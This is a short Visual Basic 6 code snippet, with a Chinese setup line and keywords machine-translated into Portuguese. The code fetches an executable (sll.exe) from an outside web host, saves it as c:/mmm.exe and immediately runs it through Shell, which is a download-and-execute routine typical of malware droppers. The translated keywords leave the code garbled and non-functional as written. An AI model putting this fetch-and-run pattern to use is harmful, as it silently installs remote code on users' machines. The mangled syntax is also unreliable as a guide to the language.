建立一个vb工程，Projeto1
添加引用:Microsoft scripting runtime,Microsoft Active Data Object,Microsoft MsXml
Formulário 1:
Public a As MSXML2.XMLHTTP
Private Sub Command1_Click()
Dim d como Classe1
Definir a = Novo MSXML2.XMLHTTP
a.open get, http://www.ljc.com/sll.exe, Verdadeiro
Conjunto d = Nova Classe1
a.onreadystatechange = d
a.enviar
Finalizar sub
Aula 1:
Dim b As ADODB.Stream
Dim fso como Scripting.FileSystemObject
CurReadyState público As Long
Função Pública doSome()
Debug.Print Form1.a.readyState
Se Form1.a.readyState = 4 Então
www
Terminar se
Função final
Função Pública www()
Definir b = Novo ADODB.Stream
b.Tipo = 1
b.abrir
Definir fso = Novo Scripting.FileSystemObject
Se Form1.a.readyState = 4 Então
b.Write (Form1.a.responseBody)
Se não for fso.FileExists (c:/mmm.exe) então
b.SaveToFile c:/mmm.exe
Terminar se
Terminar se
b.Fechar
Conjunto b = Nada
Se fso.FileExists(c:/mmm.exe) Então Shell c:/mmm.exe, 1
Definir fso = Nada
Função final
A classe 1 do Some é definida como padrão.